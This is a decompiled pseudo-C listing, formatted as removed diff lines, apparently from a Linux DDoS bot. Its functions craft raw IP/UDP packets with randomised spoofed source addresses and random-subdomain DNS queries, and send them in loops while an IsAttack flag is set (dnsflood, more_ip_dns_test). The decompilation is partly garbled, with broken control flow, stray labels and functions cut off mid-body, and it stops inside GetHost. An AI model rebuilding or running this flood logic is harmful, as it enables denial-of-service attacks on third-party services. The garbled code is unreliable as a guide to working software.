- (_v44[6]) = 0;
- (_v44[8]) = 250;
- (_v44[9]) = 6;
- (_v44[0xa]) = 0;
- (_v44[0x10]) = _v648;
- *__esp = _v84 & 65535;
- _t320 = L08075240(__esp);
- *((short*)(_v40 + 2)) = _t320;
- *__esp = 31337;
- _t322 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 4)) = _t322;
- *__esp = 0;
- _t324 = L08075230(__esp);
- *((intOrPtr*)(_v40 + 8)) = _t324;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 240;
- *(_v40 + 12) = *(_v40 + 12) & 255 & 15 | 160;
- *(_v40 + 13) = _v70 & 65535;
- *__esp = 57344;
- _t333 = L08075240(__esp);
- *((short*)(_v40 + 14)) = _t333;
- *((short*)(_v40 + 16)) = 0;
- *(_v40 + 18) = 0;
- if((_v48 & 3) != 0) {
- _v48 = (_v48 + (_v48 >> 31 >> 30) & 3) - (_v48 >> 31 >> 30) + 1 << 2;
- }
- _v48 = 40;
- _v656 = 1;
- _v32 = &_v656;
- _v700 = 4;
- _v704 = _v32;
- _v708 = 3;
- _v712 = 0;
- _t341 = _v68;
- *__esp = _t341;
- L08073640(_t439, __esp);
- if(_t341 >= 0) {
- } else {
- _v28 = 0;
- while(1) {
- _t342 = IsAttack;
- if(_t342 == 0) {
- break;
- }
- _v24 = 0;
- while(_v24 <= 999) {
- L0805EBE0();
- _t448 = _t342;
- _v692 = -2147450879;
- _v680 = ((_v692 * _t448 >> 32) + _t448 >> 15) - (_t448 >> 31);
- _v680 = _t448 - (_v680 << 16) - _v680;
- *__esp = _v680;
- _t352 = L08075230(__esp);
- _t353 = _v40;
- *((intOrPtr*)(_t353 + 4)) = _t352;
- L0805EBE0();
- _t449 = _t353;
- _v692 = -2147450879;
- _v676 = ((_v692 * _t449 >> 32) + _t449 >> 15) - (_t449 >> 31);
- _v676 = _t449 - (_v676 << 16) - _v676;
- *__esp = _v676 & 65535 & 65535;
- _t364 = L08075240(__esp);
- _t365 = _v40;
- *((short*)(_t365 + 14)) = _t364;
- L0805EBE0();
- _t450 = _t365;
- _v692 = -2147450879;
- _t482 = _v692 * _t450 >> 32;
- _t445 = (_t482 + _t450 >> 15) - (_t450 >> 31);
- _v672 = (_t482 + _t450 >> 15) - (_t450 >> 31);
- _v672 = _t450 - (_v672 << 16) - _v672;
- *_v40 = _v672 & 65535;
- _t376 = _v76 - _v80;
- _v20 = _t376;
- if(_v20 <= 0) {
- goto L23;
- } else {
- L0805EBE0();
- _v16 = _t376 % _v20 + _v80;
- L0806F850(_t445, __edi, __esi, &_v252, 0, 20);
- _v696 = _v16 & 255;
- _v700 = _v16 >> 8 & 255;
- _v704 = _v16 >> 16 & 255;
- L0805FF50( &_v252, "%d.%d.%d.%d", _v16 >> 24);
- _t393 = L08073B40( &_v252);
- (_v44[0xc]) = _t393;
- L0806F850(_v16 >> 16 & 255, __edi, __esi, &_v636, 0, 128);
- L0806F9E0(__edi, __esi, &_v636, &(_v44[0xc]), 4);
- L0806F9E0(__edi, __esi, &((char*)( &_v636)[2]), &(_v44[0x10]), 4);
- _v628 = 0;
- _v627 = (_v44[9]) & 255;
- _v626 = _v48 >> 8;
- _v625 = _v48;
- L0806F9E0(__edi, __esi, &((char*)( &_v636)[6]), _v40, 20);
- L0806F9E0(__edi, __esi, &((char*)( &_v636)[0x10]), _v36, 8);
- _t421 = csum( &_v636, _v48 + 12);
- *(_v40 + 16) = _t421;
- __esi = &_v652;
- L0805EBE0();
- _v696 = 16;
- _v700 = __esi;
- _v704 = 0;
- _v708 = ((_v44[2]) & 65535 & 65535) + ((_v44[2]) & 65535) % _v60;
- _t342 = L08052C20(__esi, _v68, &_v508);
- _v24 = _v24 + 1;
- continue;
- }
- goto L23;
- }
- }
- }
- }
- }
- L23:
- L08052A50(_v68);
- _t269 = L08051050();
- L08051000(_t269);
- *__esp = 0;
- L08050FE0();
- goto L24;
- L24:
- _push(_t501);
- __esp = __esp - 16;
- _v732 = _v708;
- _v728 = _v712;
- _v724 = 0;
- _v734 = 0;
- while(_v20 > 1) {
- _v12 = _v12 + ( *_v16 & 65535 & 65535);
- _v16 = _v16 + 2;
- _v20 = _v20 - 2;
- }
- }
- u_short in_cksum(u_int16_t* addr, int len)
- {// addr = 0x0804C17F
- int nleft;
- u_int16_t* w;
- u_int32_t sum;
- u_int16_t answer;
- short _v8;
- short unsigned int* _v12;
- int _v16;
- short _v18;
- _unknown_ r6;
- _v16 = len;
- _v12 = addr;
- _v8 = 0;
- _v18 = 0;
- while(_v16 > 1) {
- _v8 = _v8 + ( *_v12 & 65535 & 65535);
- _v12 = &(_v12[1]);
- _v16 = _v16 - 2;
- }
- }
- RandNametoFormat(char* szName, char* FormatName)
- {// addr = 0x0804C209
- char[255] NewName;
- int len;
- int i;
- int nLen;
- char _v20;
- char _v24;
- intOrPtr _v28;
- char _v284;
- signed char _v292;
- intOrPtr _v296;
- char* _v300;
- char _v304;
- intOrPtr _v308;
- signed int _v312;
- char* _v328;
- _unknown_ r1;
- _unknown_ r4;
- _unknown_ r5;
- _unknown_ r6;
- _unknown_ _t78;
- signed int _t80;
- _unknown_ _t82;
- signed int _t90;
- _unknown_ _t92;
- _unknown_ _t102;
- _unknown_ _t105;
- _unknown_ _t107;
- _unknown_ _t109;
- signed int _t123;
- signed int _t124;
- _unknown_ _t128;
- _unknown_ _t140;
- _v300 = &_v284;
- _v304 = 0;
- _t80 = 256;
- if(_t80 >= 4) {
- _v308 = 64;
- _t80 = _v304;
- _push(_v308 << 2);
- _push(_t80);
- _push(_v300);
- memset();
- __esp = __esp + 12;
- }
- L0805EBE0();
- _t123 = _t80;
- _v312 = 954437177;
- _v296 = (_v312 * _t123 >> 32 >> 1) - (_t123 >> 31);
- _v296 = _t123 - (_v296 << 3) + _v296;
- _v28 = _v296 + 3;
- _v24 = 0;
- while(1) {
- _t90 = _v24;
- _t146 = _t90 - _v28;
- if(_t90 >= _v28) {
- break;
- }
- L0805EBE0();
- _t124 = _t90;
- _v312 = 1374389535;
- _v292 = (_v312 * _t124 >> 32 >> 3) - (_t124 >> 31);
- _v292 = _t124 - (_v292 << 2) + _v292 + 0 + ((_v292 << 2) + _v292) * 4;
- *(__ebp + _v24 + -280) = (_v292 & 255) + 97;
- _v24 = _v24 + 1;
- }
- L0806E1B0(__esp, &_v284, ".");
- _v328 = szName;
- *__esp = &_v284;
- L0806E1B0(__esp);
- _v20 = 0;
- _v328 = ".";
- *__esp = &_v284;
- L0806E1B0(__esp);
- _v24 = 0;
- while(1) {
- _t109 = L0806E770(__esp, _t146, &_v284);
- if(_t109 <= _v24) {
- break;
- }
- __eflags = ( *(__ebp + _v24 + -280) & 255) - 46;
- if(__eflags == 0) {
- goto L7;
- }
- L11:
- _v24 = _v24 + 1;
- continue;
- L7:
- *FormatName = _v24 - _v20;
- FormatName = &(FormatName[1]);
- while(1) {
- __eflags = _v20 - _v24;
- if(__eflags >= 0) {
- break;
- }
- *FormatName = *(__ebp + _v20 + -280) & 255;
- FormatName = &(FormatName[1]);
- _v20 = _v20 + 1;
- }
- _v20 = _v20 + 1;
- goto L11;
- }
- *FormatName = 0;
- FormatName = &(FormatName[1]);
- return;
- }
- GetStructureDnsPacket(char* QueryDomain, char* QueryData, int* nQueryData)
- {// addr = 0x0804C3E3
- DNS_HEADER DNSHeadData;
- char[127] DomainFormat;
- QUESTION* qTypeClass;
- intOrPtr* _v12;
- short _v14;
- short _v16;
- short _v18;
- short _v20;
- signed int _v21;
- signed int _v22;
- char _v24;
- char _v152;
- char* _v156;
- intOrPtr _v160;
- intOrPtr _v164;
- _unknown_ _v180;
- intOrPtr _v184;
- _unknown_ r6;
- _unknown_ _t57;
- signed short _t58;
- short _t60;
- short _t81;
- _unknown_ _t84;
- _unknown_ _t86;
- _unknown_ _t90;
- _unknown_ _t93;
- _unknown_ _t95;
- intOrPtr _t98;
- short _t100;
- _unknown_ _t103;
- intOrPtr _t108;
- _unknown_ _t109;
- char* _t114;
- char* _t115;
- _v184 = 12;
- _t58 = &_v24;
- *__esp = _t58;
- L0806F910();
- L0805EBE0();
- *__esp = _t58 & 65535;
- _t60 = L08075240(__esp);
- _v24 = _t60;
- _v22 = _v22 & 255 & 127;
- _v22 = _v22 & 255 & 135;
- _v22 = _v22 & 255 & 251;
- _v22 = _v22 & 255 & 253;
- _v22 = _v22 & 255 | 1;
- _v21 = _v21 & 255 & 127;
- _v21 = _v21 & 255 & 191;
- _v21 = _v21 & 255 & 223;
- _v21 = _v21 & 255 & 239;
- _v21 = _v21 & 255 & 240;
- *__esp = 1;
- _t81 = L08075240(__esp);
- _v20 = _t81;
- _v18 = 0;
- _v16 = 0;
- _v14 = 0;
- L0806F9E0(_t114, __esi, QueryData, &_v24, 12);
- _v156 = &_v152;
- _v160 = 0;
- __eflags = 128 - 4;
- if(__eflags >= 0) {
- _v164 = 32;
- _t115 = _v156;
- _t108 = _v164;
- _push(_t108 << 2);
- _push(_v160);
- _push(_t115);
- memset();
- __esp = &(__esp[3]);
- _t114 = &(_t115[_t108]);
- }
- RandNametoFormat(QueryDomain, &_v152);
- *__esp = &_v152;
- _t90 = L0806E770(__esp, __eflags);
- L0806F9E0(_t114, __esi, &(QueryData[0xc]), &_v152, _t90);
- *__esp = &_v152;
- _t95 = L0806E770(__esp, __eflags);
- _v12 = _t95 + 13 + QueryData;
- *__esp = 1;
- _t98 = L08075240(__esp);
- *_v12 = _t98;
- *__esp = 1;
- _t100 = L08075240(__esp);
- *((short*)(_v12 + 2)) = _t100;
- *__esp = &_v152;
- _t103 = L0806E770(__esp, __eflags);
- *nQueryData = _t103 + 17;
- return;
- }
- int dnsflood(_Unknown_base* ThreadData)
- {// addr = 0x0804C594
- int hSockfd;
- char[1023] packet;
- char[19] szNewIP;
- struct ip iphdr;
- char[1023] PackData;
- struct udphdr udphdr;
- struct sockaddr_in remoteAddr;
- DNSPACKET DnsObj;
- int nTime;
- struct hostent* szhost;
- socklen_t fromlen;
- int looptime;
- int aa;
- char[511] szName;
- int nDNSPack;
- char[511] fotmatDNSPacket;
- int dgsize;
- int ShamBase;
- int dwNewIP;
- intOrPtr _v0;
- intOrPtr _v4;
- signed int _v16;
- signed int _v20;
- intOrPtr _v24;
- int _v28;
- int _v32;
- int _v36;
- intOrPtr _v40;
- int _v44;
- intOrPtr _v48;
- int _v52;
- intOrPtr _v56;
- int _v60;
- _unknown_ _v64;
- int _v68;
- char _v1072;
- char _v1092;
- int _v1096;
- int _v1100;
- short unsigned int _v1102;
- char _v1103;
- int _v1104;
- int _v1106;
- int _v1108;
- short _v1110;
- int _v1111;
- signed int _v1112;
- _unknown_ _v1116;
- _unknown_ _v1120;
- _unknown_ _v1122;
- _unknown_ _v1123;
- _unknown_ _v1124;
- _unknown_ _v1126;
- _unknown_ _v1128;
- _unknown_ _v1130;
- _unknown_ _v1131;
- _unknown_ _v1132;
- char _v2136;
- int _v2138;
- int _v2140;
- signed int _v2142;
- char _v2144;
- intOrPtr _v2156;
- signed short _v2158;
- int _v2160;
- _unknown_ _v2162;
- int _v2164;
- intOrPtr _v2168;
- _unknown_ _v2176;
- _unknown_ _v2178;
- _unknown_ _v2180;
- _unknown_ _v2184;
- _unknown_ _v2188;
- _unknown_ _v2192;
- signed int _v2300;
- int _v2432;
- char _v2444;
- int _v2448;
- char _v2960;
- char _v3472;
- signed short _v3488;
- char* _v3492;
- int _v3496;
- intOrPtr _v3500;
- char* _v3504;
- int _v3508;
- intOrPtr _v3512;
- char* _v3516;
- int _v3520;
- intOrPtr _v3524;
- signed int _v3532;
- signed int _v3544;
- signed int _v3548;
- signed int _v3552;
- char _v3556;
- intOrPtr _v3560;
- int _v3564;
- int _v3568;
- char _v3580;
- _unknown_ _v3584;
- _unknown_ _v3588;
- _unknown_ _v3592;
- _unknown_ _v3596;
- _unknown_ _v3600;
- _unknown_ _v4112;
- _unknown_ _v4624;
- _unknown_ _v4628;
- _unknown_ _v4632;
- intOrPtr _v4636;
- intOrPtr _v4640;
- intOrPtr _v4644;
- _unknown_ _v4656;
- _unknown_ _v4660;
- _unknown_ _v4664;
- _unknown_ _v4668;
- _unknown_ _v4672;
- int _v4676;
- int _v4680;
- int _v4684;
- int _v4688;
- int _v4692;
- char _v5716;
- char* _v8196;
- int _v8200;
- _unknown_ _v8260;
- _unknown_ _v8264;
- _unknown_ _v8268;
- char _v8272;
- signed int _v8276;
- intOrPtr _v8288;
- char _v8304;
- int _v8320;
- _unknown_ r6;
- _unknown_ _t479;
- intOrPtr _t483;
- _unknown_ _t485;
- _unknown_ _t486;
- _unknown_ _t487;
- _unknown_ _t488;
- _unknown_ _t490;
- _unknown_ _t494;
- int _t496;
- _unknown_ _t498;
- _unknown_ _t499;
- _unknown_ _t500;
- _unknown_ _t501;
- intOrPtr _t504;
- _unknown_ _t512;
- _unknown_ _t517;
- _unknown_ _t524;
- _unknown_ _t529;
- _unknown_ _t532;
- _unknown_ _t537;
- _unknown_ _t538;
- _unknown_ _t540;
- _unknown_ _t541;
- _unknown_ _t548;
- _unknown_ _t551;
- _unknown_ _t560;
- _unknown_ _t564;
- _unknown_ _t568;
- _unknown_ _t573;
- _unknown_ _t577;
- _unknown_ _t582;
- _unknown_ _t586;
- _unknown_ _t588;
- _unknown_ _t602;
- _unknown_ _t608;
- _unknown_ _t610;
- _unknown_ _t619;
- _unknown_ _t623;
- _unknown_ _t629;
- _unknown_ _t641;
- _unknown_ _t643;
- signed short _t659;
- intOrPtr _t661;
- _unknown_ _t664;
- int _t675;
- _unknown_ _t680;
- short unsigned int _t682;
- _unknown_ _t685;
- _unknown_ _t690;
- _unknown_ _t693;
- _unknown_ _t702;
- short _t706;
- int _t710;
- _unknown_ _t715;
- _unknown_ _t719;
- _unknown_ _t724;
- signed int _t728;
- _unknown_ _t730;
- int _t744;
- signed int _t747;
- _unknown_ _t749;
- int _t758;
- _unknown_ _t762;
- _unknown_ _t766;
- signed short _t771;
- _unknown_ _t785;
- _unknown_ _t787;
- _unknown_ _t789;
- _unknown_ _t790;
- _unknown_ _t791;
- _unknown_ _t792;
- intOrPtr _t793;
- _unknown_ _t794;
- signed int _t798;
- intOrPtr _t800;
- _unknown_ _t801;
- intOrPtr _t802;
- _unknown_ _t803;
- intOrPtr _t804;
- _unknown_ _t805;
- _unknown_ _t808;
- _unknown_ _t811;
- _unknown_ _t817;
- _unknown_ _t826;
- _unknown_ _t836;
- _unknown_ _t846;
- _unknown_ _t847;
- intOrPtr _t849;
- char* _t851;
- char* _t852;
- intOrPtr _t853;
- _unknown_ _t854;
- signed int* _t855;
- _unknown_ _t856;
- _push(_t844);
- _push(_t771);
- __esp = __esp - 3552;
- _v1112 = 0;
- _v1108 = 0;
- _v1104 = 0;
- _v1100 = 0;
- _v1096 = 0;
- _v3492 = &_v2136;
- _v3496 = 0;
- if(1024 >= 4) {
- _v3500 = 256;
- _t853 = _v3492;
- _t804 = _v3500;
- _push(_t804 << 2);
- _push(_v3496);
- _push(_t853);
- memset();
- __esp = &(__esp[3]);
- _t844 = _t853 + _t804;
- }
- _v2144 = 0;
- _v2140 = 0;
- L0806F910( &_v2444, 284);
- _t483 = L0806F9E0(_t844, __esi, &_v2444, ThreadData, 284);
- _v3556 = 255;
- L08073680(_t771, __esp, 2, 3);
- _v48 = _t483;
- if(_v48 == 255) {
- goto L24;
- }
- _v44 = 0;
- _v44 = _v2432;
- if(_v44 <= 0 || _v44 > 86400) {
- _v44 = 20;
- }
- L0806F910( &_v2160, 16);
- _v2160 = 2;
- *__esp = _v2300 & 65535;
- _t659 = L08075240(__esp);
- _v2158 = _t659;
- _t661 = &_v2444 + 16;
- L08075250(_t661);
- _v40 = _t661;
- if(_v40 == 0) {
- L24:
- L08052A50(_v48);
- _t486 = L08051050();
- L08051000(_t486);
- *__esp = 0;
- L08050FE0();
- goto L25;
- }
- _t664 = L0806E4D0( &_v2444 + 16, "0.0.0.0");
- if(_t664 == 0) {
- goto L24;
- }
- _v2156 = *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v40 + 16))))));
- _v36 = 16;
- _v1112 = _v1112 & 255 & 240 | 5;
- _v1112 = _v1112 & 255 & 15 | 64;
- _v1111 = 0;
- *__esp = 1;
- _t675 = L08075240(__esp);
- _v1108 = _t675;
- _v1106 = 0;
- _v1104 = 64;
- _v1103 = 17;
- L0806F9E0(_t844, __esi, &((char*)( &_v1112)[8]), &((char*)( &_v2160)[1]), 4);
- _t682 = in_cksum( &_v1112, 20);
- _v1102 = _t682;
- _v32 = 0;
- while(IsAttack != 0) {
- _v28 = 0;
- while(1) {
- __eflags = _v28 - 999;
- if(_v28 > 999) {
- break;
- }
- _v3504 = &_v2960;
- _v3508 = 0;
- __eflags = 512 - 4;
- if(512 >= 4) {
- _v3512 = 128;
- _t852 = _v3504;
- _t802 = _v3512;
- _push(_t802 << 2);
- _push(_v3508);
- _push(_t852);
- memset();
- __esp = &(__esp[3]);
- _t844 = &(_t852[_t802]);
- }
- L0806F910( &_v2960, 512);
- L0806E520( &_v2960, &_v2444 + 148);
- L0806F910( &_v2136, 1024);
- _v2448 = 0;
- _v3516 = &_v3472;
- _v3520 = 0;
- __eflags = 512 - 4;
- if(512 >= 4) {
- _v3524 = 128;
- _t851 = _v3516;
- _t800 = _v3524;
- _push(_t800 << 2);
- _push(_v3520);
- _push(_t851);
- memset();
- __esp = &(__esp[3]);
- _t844 = &(_t851[_t800]);
- }
- RandNametoFormat( &_v2960, &_v3472);
- GetStructureDnsPacket( &_v2960, &_v3472, &_v2448);
- L0806F9E0(_t844, __esi, &_v2136, &_v3472, _v2448);
- *__esp = _v2448 + 28 & 65535;
- _t706 = L08075240(__esp);
- _v1110 = _t706;
- _v2138 = 0;
- *__esp = _v2448 + 8 & 65535;
- _t710 = L08075240(__esp);
- _v2140 = _t710;
- _v2142 = _v2158 & 65535;
- L0806F910( &_v1072, 1024);
- L0806F9E0(_t844, __esi, &_v1072, &_v1112, 20);
- L0806F9E0(_t844, __esi, &_v1072 + 20, &_v2144, 8);
- L0806F9E0(_t844, __esi, &_v1072 + 28, &_v2136, _v2448);
- _v24 = _v2448 + 28;
- _t728 = _v2164 - _v2168;
- _v20 = _t728;
- __eflags = _v20;
- if(_v20 <= 0) {
- goto L22;
- }
- L0805EBE0();
- _v16 = _t728 % _v20 + _v2168;
- L0806F910( &_v1092, 20);
- _v3544 = _v16 & 255;
- _v3548 = _v16 >> 8 & 255;
- _v3552 = _v16 >> 16 & 255;
- L0805FF50( &_v1092, "%d.%d.%d.%d", _v16 >> 24);
- _t744 = L08073B40( &_v1092);
- _v1100 = _t744;
- _t747 = L0806F9E0(_t844, __esi, &_v1072, &_v1112, 20);
- L0805EBE0();
- _t798 = _t747;
- _v3532 = -2147450879;
- _t771 = ((_v3532 * _t798 >> 32) + _t798 >> 15) - (_t798 >> 31);
- _v3488 = _t771;
- _t844 = _t798 - (_v3488 << 16) - _v3488;
- _v3488 = _t844;
- *__esp = _v3488 & 65535 & 65535;
- _t758 = L08075240(__esp);
- _v2144 = _t758;
- L0806F9E0(_t844, __esi, &_v1072 + 20, &_v2144, 8);
- _v3544 = _v36;
- _v3548 = &_v2160;
- _v3552 = 0;
- _v3556 = _v24;
- L08052C20(__esi, _v48, &_v1072);
- _v28 = _v28 + 1;
- continue;
- L23:
- goto L24;
- }
- _v32 = _v32 + 1;
- __eflags = _v32 - _v44;
- if(_v32 > _v44) {
- goto L23;
- }
- L08070250(1);
- }
- goto L25;
- L25:
- _push(_t854);
- _t855 = __esp;
- _push(_t844);
- _push(_t771);
- __esp = __esp - 4704;
- _v4692 = 0;
- _v4688 = 0;
- _v4684 = 0;
- _v4680 = 0;
- _v4676 = 0;
- _v8196 = &_v5716;
- _v8200 = 0;
- if(1024 >= 4) {
- _v4644 = 256;
- _t849 = _v4636;
- _t793 = _v4644;
- _push(_t793 << 2);
- _push(_v4640);
- _push(_t849);
- memset();
- __esp = &(__esp[3]);
- _t844 = _t849 + _t793;
- }
- _v2164 = 0;
- _v2160 = 0;
- _v60 = 0;
- _v56 = 456;
- L0806F910( &_v3580, 1400);
- L0806F9E0(_t844, __esi, &_v3580, _v0, 1400);
- _v60 = _v3564;
- _v52 = 0;
- _t496 = _v3568;
- _v52 = _t496;
- if(_v52 <= 0 || _v52 > 86400) {
- _v52 = 20;
- }
- _v8272 = 255;
- L08073680(_t771, __esp, 2, 3);
- _v68 = _t496;
- if(_v68 == 255) {
- goto L58;
- }
- if(_v3560 != _v3556 || _v3556 == 0) {
- L58:
- L08052A50(_v68);
- _t499 = L08051050();
- L08051000(_t499);
- *__esp = 0;
- L08050FE0();
- }
- _push(_t855);
- __esp = __esp - 40;
- _v8304 = _v8272;
- *__esp = _v8276;
- _t504 = L0806E770(__esp, _t871);
- _v8288 = _t504;
- if(( *_v8276 & 255) != 0) {
- while(1) {
- __eax = _v16;
- __eax = _v16 - 1;
- __eax = _v16 - 1 + _v4;
- __eax = *(_v16 - 1 + _v4) & 255;
- __eflags = __al;
- if(__al == 0) {
- break;
- }
- __eax = _v16;
- __eax = _v16 - 1;
- __eax = _v16 - 1 + _v4;
- _v8320 = _v32;
- *__esp = _v16 - 1 + _v4;
- __eax = L0806E360(__esp);
- __eflags = __eax;
- if(__eax == 0) {
- _v16 = _v16 - 1;
- continue;
- }
- __eax = _v16;
- __eax = _v16 - 1;
- _v36 = _v4 + _v16 - 1;
- return _v36;
- }
- _v36 = 0;
- return _v36;
- }
- _v36 = 0;
- return _v36;
- L55:
- goto L58;
- L22:
- goto L24;
- }
- int more_ip_dns_test(_Unknown_base* ThreadData)
- {// addr = 0x0804CBCF
- int hSockfd;
- char[1023] packet;
- char[19] szNewIP;
- struct ip iphdr;
- char[1023] PackData;
- struct udphdr udphdr;
- struct sockaddr_in remoteAddr;
- int i;
- int ipflag;
- int ip_num;
- MOREDNSPACKET DnsObj;
- int nTime;
- socklen_t fromlen;
- int looptime;
- int aa;
- int rand_id;
- char[511] szName;
- int nDNSPack;
- char[511] fotmatDNSPacket;
- int dgsize;
- int ShamBase;
- int dwNewIP;
- unsigned int[3] ip;
- int matches;
- intOrPtr _v0;
- signed int _v12;
- _unknown_ _v16;
- _unknown_ _v20;
- _unknown_ _v24;
- char _v28;
- signed int _v32;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ _v44;
- signed int _v48;
- intOrPtr _v52;
- signed int _v56;
- _unknown_ _v60;
- signed int _v64;
- _unknown_ _v1088;
- _unknown_ _v1108;
- signed int _v1112;
- signed int _v1116;
- _unknown_ _v1118;
- _unknown_ _v1119;
- signed int _v1120;
- _unknown_ _v1122;
- signed int _v1124;
- _unknown_ _v1126;
- _unknown_ _v1127;
- signed int _v1128;
- char _v2152;
- _unknown_ _v2154;
- signed int _v2156;
- _unknown_ _v2158;
- signed int _v2160;
- _unknown_ _v2172;
- _unknown_ _v2174;
- _unknown_ _v2176;
- _unknown_ _v2180;
- _unknown_ _v2184;
- _unknown_ _v2188;
- intOrPtr _v3552;
- intOrPtr _v3556;
- signed int _v3560;
- signed int _v3564;
- char _v3576;
- _unknown_ _v3580;
- _unknown_ _v3584;
- _unknown_ _v3588;
- _unknown_ _v3592;
- _unknown_ _v3596;
- _unknown_ _v4108;
- _unknown_ _v4620;
- _unknown_ _v4624;
- _unknown_ _v4628;
- char* _v4632;
- signed int _v4636;
- intOrPtr _v4640;
- _unknown_ _v4652;
- _unknown_ _v4656;
- _unknown_ _v4660;
- _unknown_ _v4664;
- _unknown_ _v4668;
- _unknown_ _v4672;
- _unknown_ _v4684;
- _unknown_ _v4696;
- _unknown_ _v4700;
- _unknown_ _v4704;
- char _v4708;
- signed int _v4712;
- intOrPtr _v4724;
- char _v4740;
- char _v4756;
- _unknown_ r6;
- _unknown_ _t289;
- _unknown_ _t293;
- signed int _t295;
- _unknown_ _t297;
- _unknown_ _t298;
- _unknown_ _t299;
- _unknown_ _t300;
- intOrPtr _t303;
- _unknown_ _t311;
- _unknown_ _t316;
- _unknown_ _t323;
- _unknown_ _t328;
- _unknown_ _t331;
- _unknown_ _t336;
- _unknown_ _t337;
- _unknown_ _t339;
- _unknown_ _t340;
- _unknown_ _t347;
- _unknown_ _t350;
- _unknown_ _t359;
- _unknown_ _t363;
- _unknown_ _t367;
- _unknown_ _t372;
- _unknown_ _t376;
- _unknown_ _t381;
- _unknown_ _t385;
- _unknown_ _t387;
- _unknown_ _t401;
- _unknown_ _t407;
- _unknown_ _t409;
- _unknown_ _t418;
- _unknown_ _t422;
- _unknown_ _t428;
- _unknown_ _t440;
- _unknown_ _t442;
- _unknown_ _t454;
- _unknown_ _t466;
- _unknown_ _t468;
- _unknown_ _t470;
- _unknown_ _t471;
- _unknown_ _t472;
- _unknown_ _t473;
- intOrPtr _t474;
- _unknown_ _t475;
- _unknown_ _t478;
- _unknown_ _t481;
- _unknown_ _t487;
- _unknown_ _t496;
- _unknown_ _t506;
- _unknown_ _t507;
- intOrPtr _t509;
- _unknown_ _t510;
- _unknown_ _t511;
- _push(_t504);
- _push(_t454);
- __esp = __esp - 4704;
- _v1128 = 0;
- _v1124 = 0;
- _v1120 = 0;
- _v1116 = 0;
- _v1112 = 0;
- _v4632 = &_v2152;
- _v4636 = 0;
- if(1024 >= 4) {
- _v4640 = 256;
- _t509 = _v4632;
- _t474 = _v4640;
- _push(_t474 << 2);
- _push(_v4636);
- _push(_t509);
- memset();
- __esp = &(__esp[3]);
- _t504 = _t509 + _t474;
- }
- _v2160 = 0;
- _v2156 = 0;
- _v56 = 0;
- _v52 = 456;
- L0806F910( &_v3576, 1400);
- L0806F9E0(_t504, __esi, &_v3576, ThreadData, 1400);
- _v56 = _v3560;
- _v48 = 0;
- _t295 = _v3564;
- _v48 = _t295;
- if(_v48 <= 0 || _v48 > 86400) {
- _v48 = 20;
- }
- _v4708 = 255;
- L08073680(_t454, __esp, 2, 3);
- _v64 = _t295;
- if(_v64 == 255) {
- goto L33;
- }
- if(_v3556 != _v3552 || _v3552 == 0) {
- L33:
- L08052A50(_v64);
- _t298 = L08051050();
- L08051000(_t298);
- *__esp = 0;
- L08050FE0();
- }
- _push(_t510);
- __esp = __esp - 40;
- _v4740 = _v4708;
- *__esp = _v4712;
- _t303 = L0806E770(__esp, _t519);
- _v4724 = _t303;
- if(( *_v4712 & 255) != 0) {
- while(1) {
- __eax = _v12;
- __eax = _v12 - 1;
- __eax = _v12 - 1 + _v0;
- __eax = *(_v12 - 1 + _v0) & 255;
- __eflags = __al;
- if(__al == 0) {
- break;
- }
- __eax = _v12;
- __eax = _v12 - 1;
- __eax = _v12 - 1 + _v0;
- _v4756 = _v28;
- *__esp = _v12 - 1 + _v0;
- __eax = L0806E360(__esp);
- __eflags = __eax;
- if(__eax == 0) {
- _v12 = _v12 - 1;
- continue;
- }
- __eax = _v12;
- __eax = _v12 - 1;
- _v32 = _v0 + _v12 - 1;
- return _v32;
- }
- _v32 = 0;
- return _v32;
- }
- _v32 = 0;
- return _v32;
- L30:
- goto L33;
- }
- char* Rstrchr(char* s, char x)
- {// addr = 0x0804D397
- int i;
- signed int _v8;
- char _v24;
- char* _v28;
- char _v40;
- _unknown_ r6;
- _unknown_ _t20;
- signed int _t23;
- _unknown_ _t27;
- _v24 = x;
- *__esp = s;
- _t23 = L0806E770(__esp, _t27);
- _v8 = _t23;
- if(( *s & 255) != 0) {
- while(1) {
- __eax = _v8;
- __eax = _v8 - 1;
- __eax = &(s[_v8 - 1]);
- __eax = (s[_v8 - 1]) & 255;
- __eflags = __al;
- if(__al == 0) {
- break;
- }
- __eax = _v8;
- __eax = _v8 - 1;
- __eax = &(s[_v8 - 1]);
- _v40 = _v24;
- *__esp = &(s[_v8 - 1]);
- __eax = L0806E360(__esp);
- __eflags = __eax;
- if(__eax == 0) {
- _v8 = _v8 - 1;
- continue;
- }
- __eax = _v8;
- __eax = _v8 - 1;
- _v28 = &(s[_v8 - 1]);
- return _v28;
- }
- _v28 = 0;
- return _v28;
- }
- _v28 = 0;
- return _v28;
- }
- ToLowerCase(char* s)
- {// addr = 0x0804D414
- unsigned int i;
- intOrPtr _v12;
- _unknown_ r6;
- _unknown_ _t11;
- _unknown_ _t13;
- char _t19;
- _unknown_ _t22;
- _v12 = 0;
- while(1) {
- _t13 = L0806E770(__esp, _t22, s);
- if(_t13 <= _v12) {
- break;
- }
- _t19 = L08058E80((s[_v12]) & 255);
- (s[_v12]) = _t19;
- _v12 = _v12 + 1;
- }
- return;
- }
- GetHost(char* src, char* web, char* file, int* port)
- {// addr = 0x0804D45F
- char* pA;
- char* pB;
- intOrPtr _v12;
- char* _v16;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ r6;
- _unknown_ _t59;
- _unknown_ _t61;
- _unknown_ _t63;
- _unknown_ _t69;
- _unknown_ _t71;
- intOrPtr _t73;
- _unknown_ _t75;
- _unknown_ _t78;
- _unknown_ _t80;
- char* _t83;
- int _t86;
- _unknown_ _t90;
- _unknown_ _t92;
- _unknown_ _t96;
- _unknown_ _t98;
- _unknown_ _t102;
- _unknown_ _t106;
- _unknown_ _t110;
- _unknown_ _t112;
- _unknown_ _t119;
- L0806F850(_t119, __edi, __esi, web, 0, 4);
- L0806F850(_t119, __edi, __esi, file, 0, 4);
- *port = 0;
- if(( *src & 255) == 0) {
- return ;
- }
- _v16 = src;
- _t69 = L0806E820(_v16, "http://", 7);
- if(_t69 != 0) {
- _t71 = L0806E820(_v16, "https://", 8);
- __eflags = _t71;
- if(_t71 == 0) {
- goto L4;
- } else {
- goto L5;
- }
- goto L5;
- }
- _v16 = &(src[7]);
- L5:
- _t73 = L0806E360(__esp, _v16, 47);
- _v12 = _t73;
- _t130 = _v12;
- if(_v12 == 0) {
